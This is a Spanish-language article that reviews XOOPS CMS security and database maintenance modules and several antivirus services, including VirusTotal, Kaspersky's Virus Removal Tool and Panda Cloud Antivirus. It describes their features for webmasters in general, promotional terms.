XOOPS es una de las plataformas más conocidas en la red de freeware y shareware, software libre y gratuito con licencia OSI - Open Source Initiative para la implementación de CMS (Content Management System), sistema de administración de contenidos que utiliza Apache, FTP, MySQL, etc ... principalmente enfocado a la creación de sitios o portales web para comunidades virtuales en Internet, y que dispone de una amplia gama de aplicaciones y complementos de actualización.

A continuación destacamos las herramientas de administración que hacen referencia a seguridad del sistema, gestión y mantenimiento de la base de datos, componentes básicos que los webmasters deben configurar una vez instalados en la carpeta de módulos CMS Xoops de su servidor FTP (File Transfer Protocol).

Herramientas de administración.

Seguridad del sistema.

Indexscan 2.03

Básicamente destacamos como más importante el examen de archivos index.html perdidos y su recuperación, o el rastreo y localización de inyecciones iframes, con la posibilidad de elaborar informes de estado.

Protector 3.4

Una central de protección con manual de seguridad para cierres forzados de sesión hijacking, expulsiones y baneados de IP en caso de ataques DoS, F5, spam e inyección SQL, control de wrapping sospechoso y crawler malicioso, contraseña de reparo, etc ...

Xortify 1.16

Aplicación para fortalecer la seguridad de red y que utiliza técnicas de Web 2.0 para evitar intrusiones, incluye la notación exacta del intruso y previene de cualquier ataque. Es un accesorio necesario y protector al estilo de un firewall.

Mantenimiento de la base de datos.

Xoopscare 1.22

Un módulo diseñado para ayudar a mantener de forma automática su sitio web, del que destacamos la opción de verificar, reparar, analizar y optimizar su base de datos.

Xoops DB Backup & Restore 3.0

Es una sencilla herramienta que permite entre otras prestaciones, hacer una copia de seguridad o el backup de la base de datos en formato de archivos comprimidos y/o SQL ...

Hispasec Sistemas y análisis de VirusTotal

Fuente : **Hispasec Sistemas**.

VirusTotal es un servicio de análisis de archivos sospechosos que permite detectar virus, troyanos, y malware en general, que ha sido premiado por la edición americana de la revista PC World como uno de los 100 mejores productos del año 2007 en la categoría Security Web Site.

Características.

- Servicio independiente y gratuito.
- Uso simultáneo de múltiples motores antivirus.
- Actualización automática de los motores en tiempo real.
- Resultados detallados por cada uno de los antivirus.
- Estadísticas globales en tiempo real.

Créditos.

Un servicio desarrollado por Hispasec Sistemas, laboratorio independiente de seguridad informática, que utiliza las versiones en línea de comando de varios motores antivirus, actualizados puntualmente con las firmas oficiales publicadas por sus desarrolladores.

VirusTotal no sustituye de forma alguna a los antivirus instalados en los PCs, ya que sólo permite el análisis a demanda de archivos individuales, y no ofrece protección permanente al sistema del usuario, aunque el índice de detección ofrecido por el análisis simultáneo de múltiples motores antivirus es muy superior al de un sólo producto.

VirusList + Removal Tool de Kaspersky

Fuente : **Kaspersky Lab**.

VirusList.com todo sobre seguridad en Internet es un sitio oficial de Kaspersky.com, compañía de software de seguridad que ofrece toda la información actualizada sobre alertas y amenazas en la red destacables (virus, troyanos, ...) , ataques informáticos recientes (hackers, spam, ...), últimos parches de seguridad (Microsoft, Adobe, ...). así como otras muchas noticias de interés para usuarios, webmasters y programadores.

Señalamos por su importancia el informe trimestral que aparece periódicamente, y que trata sobre el desarrollo de las amenazas informáticas durante el año.

Kaspersky Virus Removal Tool se trata de un programa de análisis exhaustivo y profundo de su ordenador con el fin de localizar posibles infecciones por malware en general, que no ofrece protección residente o en línea, pero que es un potente rastreador.

Autoscan con una velocidad de procesamiento alrededor de un millón de archivos analizados en más de 10 h. no es uno de los componentes más rápidos del mercado, aunque dispone de un extenso proceso de análisis, amplias listas de virus y bases de datos sobre firmas de intrusiones, que lo hacen más que recomendable por su capacidad de encontrar en ubicaciones remotas aquellos objetos y ficheros infectados o sospechosos que no detectan otros productos.

La descarga y configuración es sencilla, se instala o desinstala automáticamente tras solicitar su ejecución, lo que hace de este componente de software un sistema inteligente, trabaja sin conexión a la red, finaliza sus análisis con un informe detallado de incidencias, y con el fin de no afectar al rendimiento de su procesador cuando realice otras tareas programadas procede a desinstalarse en modo automático previa solicitud.

Panda Cloud Antivirus

Fuente : **Panda Cloud Antivirus.**

Panda Cloud Antivirus ofrece protección antivirus y antispyware, antirootkit contra amenazas ocultas, protección permanente online y sin conexión, desactiva la función autorun del ordenador, bloquea por comportamiento las amenazas nuevas y desconocidas, dispone de configuración avanzada y está disponible en varios idiomas.

PC Magazine USA en noviembre del 2009 lo ha considerado el mejor antivirus gratuito, según sus editores que han escogido este producto de software de seguridad, se trata de un paso adelante en la tecnología de protección anti-malware.

Panda Cloud Antivirus detecta todos los troyanos, spyware, adware, dialers, jokes y otros catalogados en los servidores de inteligencia colectiva de Panda Security que analiza millones de virus o goodware conocido en tiempo real.

En todo momento se puede ver el nuevo malware que está siendo analizado por la inteligencia colectiva y también el que se está encontrando más frecuentemente en los computadores de los usuarios.